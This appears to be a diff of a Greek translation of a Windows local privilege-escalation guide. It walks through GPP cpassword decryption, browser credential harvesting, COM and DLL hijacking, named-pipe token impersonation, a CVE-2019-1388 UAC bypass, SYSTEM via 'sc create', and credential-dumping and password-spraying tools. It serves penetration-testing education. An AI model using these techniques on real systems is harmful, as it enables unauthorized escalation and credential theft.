-Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά προβλήματα ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα.
+Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα.
 
 Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
 
@@ -1155,7 +1155,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 ### Ιστορικό Περιηγητών
 
 Πρέπει να ελέγξετε για βάσεις δεδομένων όπου αποθηκεύονται οι κωδικοί πρόσβασης από **Chrome ή Firefox**.\
-Επίσης, ελέγξτε την ιστορία, τα σελιδοδείκτες και τα αγαπημένα των περιηγητών ώστε ίσως να υπάρχουν αποθηκευμένοι κάποιοι **κωδικοί πρόσβασης** εκεί.
+Επίσης, ελέγξτε την ιστορία, τα σελιδοδείκτες και τα αγαπημένα των περιηγητών ώστε ίσως να υπάρχουν αποθηκευμένοι **κωδικοί πρόσβασης** εκεί.
 
 Εργαλεία για την εξαγωγή κωδικών πρόσβασης από περιηγητές:
 
@@ -1166,11 +1166,11 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 
 ### **Επικαλύψεις COM DLL**
 
-**Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών στοιχείων διαφορετικών γλωσσών. Κάθε στοιχείο COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε στοιχείο εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs).
+**Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών συστατικών διαφορετικών γλωσσών. Κάθε συστατικό COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs).
 
 Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** και **HKEY\_**_**CLASSES\_**_**ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
 
-Μέσα στους CLSIDs αυτού του μητρώου μπορείτε να βρείτε το υπομητρώο **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματική), **Free** (Πολυνηματική), **Both** (Μονοή ή Πολυ) ή **Neutral** (Ουδέτερη Νημάτωσης).
+Μέσα στους CLSIDs αυτού του μητρώου μπορείτε να βρείτε το παιδικό μητρώο **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματικό), **Free** (Πολυνηματικό), **Both** (Μονο ή Πολυ) ή **Neutral** (Ουδέτερο νήμα).
 
 ![](<../../images/image (729).png>)
 
@@ -1225,13 +1225,13 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 
 ## Named Pipe Client Impersonation
 
-Τα τμήματα κοινής μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών.
+Τα κοινά τμήματα μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών.
 
 Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε άσχετες διαδικασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως **named pipe server** και **named pipe client**.
 
 Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system).
 
-Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρεμβάλλετε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
 ## Misc
 
@@ -1249,9 +1249,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
 ```
 ## Κλοπή κωδικών πρόσβασης από διεργασίες
 
-## Από Χαμηλό Προνομιούχο Χρήστη σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC
+## Από Χαμηλό Προνομιακό Χρήστη σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC
 
-Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατή η εκτέλεση ενός τερματικού ή οποιασδήποτε άλλης διεργασίας όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.
+Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατόν να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.
 
 Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε οτιδήποτε και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδοθέν από τη Microsoft.
 
@@ -1299,32 +1299,32 @@ Windows 10 1709	16299	link NOT opened
 
 https://github.com/jas502n/CVE-2019-1388
 
-## Από Administrator Medium σε High Integrity Level / UAC Bypass
+## Από το Medium επίπεδο Ακεραιότητας σε Υψηλό / Παράκαμψη UAC
 
-Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**:
+Διαβάστε αυτό για να **μάθετε για τα Επίπεδα Ακεραιότητας**:
 
 {{#ref}}
 integrity-levels.md
 {{#endref}}
 
-Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:**
+Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:**
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
 {{#endref}}
 
-## **Από High Integrity σε System**
+## **Από Υψηλό επίπεδο Ακεραιότητας σε Σύστημα**
 
 ### **Νέα υπηρεσία**
 
-Εάν ήδη εκτελείτε μια διαδικασία High Integrity, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
+Εάν ήδη εκτελείτε μια διαδικασία Υψηλής Ακεραιότητας, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
 ```
 ### AlwaysInstallElevated
 
-Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να προσπαθήσετε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\
+Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\
 [Περισσότερες πληροφορίες σχετικά με τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα _.msi_ πακέτο εδώ.](#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
@@ -1333,20 +1333,20 @@ sc start newservicename
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Εάν έχετε αυτές τις άδειες token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με την άδεια SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
-Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλες τις άδειες token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλες τις άδειες token_).\
+Εάν έχετε αυτές τις προνομιακές δυνατότητες token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
+Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα προνόμια token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token_).\
 **Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας την άδεια **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας άδειες SYSTEM.\
+Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το προνόμιο **`SeImpersonate`** θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\
 Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\
-Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
+Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από την υψηλή ακεραιότητα στο System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
 Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη στην επίτευξη από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
-**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/)**.**
+**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
 
@@ -1364,7 +1364,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 
 ## Useful tools
 
-**Καλύτερο εργαλείο για αναζήτηση τοπικών διαδρομών κλιμάκωσης προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+**Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 **PS**
 
@@ -1372,11 +1372,11 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Ελέγξτε για κακή διαμόρφωση και ευαίσθητα αρχεία (**[**ελέγξτε εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Ανιχνεύθηκε.**\
 [**JAWS**](https://github.com/411Hall/JAWS) **-- Ελέγξτε για κάποιες πιθανές κακές διαμορφώσεις και συγκεντρώστε πληροφορίες (**[**ελέγξτε εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
 [**privesc** ](https://github.com/enjoiz/Privesc)**-- Ελέγξτε για κακή διαμόρφωση**\
-[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών από PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\
+[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε συγκεντρωμένους κωδικούς πρόσβασης σε τομέα**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS PowerShell και man-in-the-middle.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση Windows privesc**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS και man-in-the-middle PowerShell.**\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση privesc Windows**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΗΚΕ για Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούν δικαιώματα διαχειριστή)**
 
@@ -1391,7 +1391,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 
 **Bat**
 
-[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο που δημιουργήθηκε με βάση αυτή την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει).
+[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο που δημιουργήθηκε με βάση αυτήν την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει).
 
 **Local**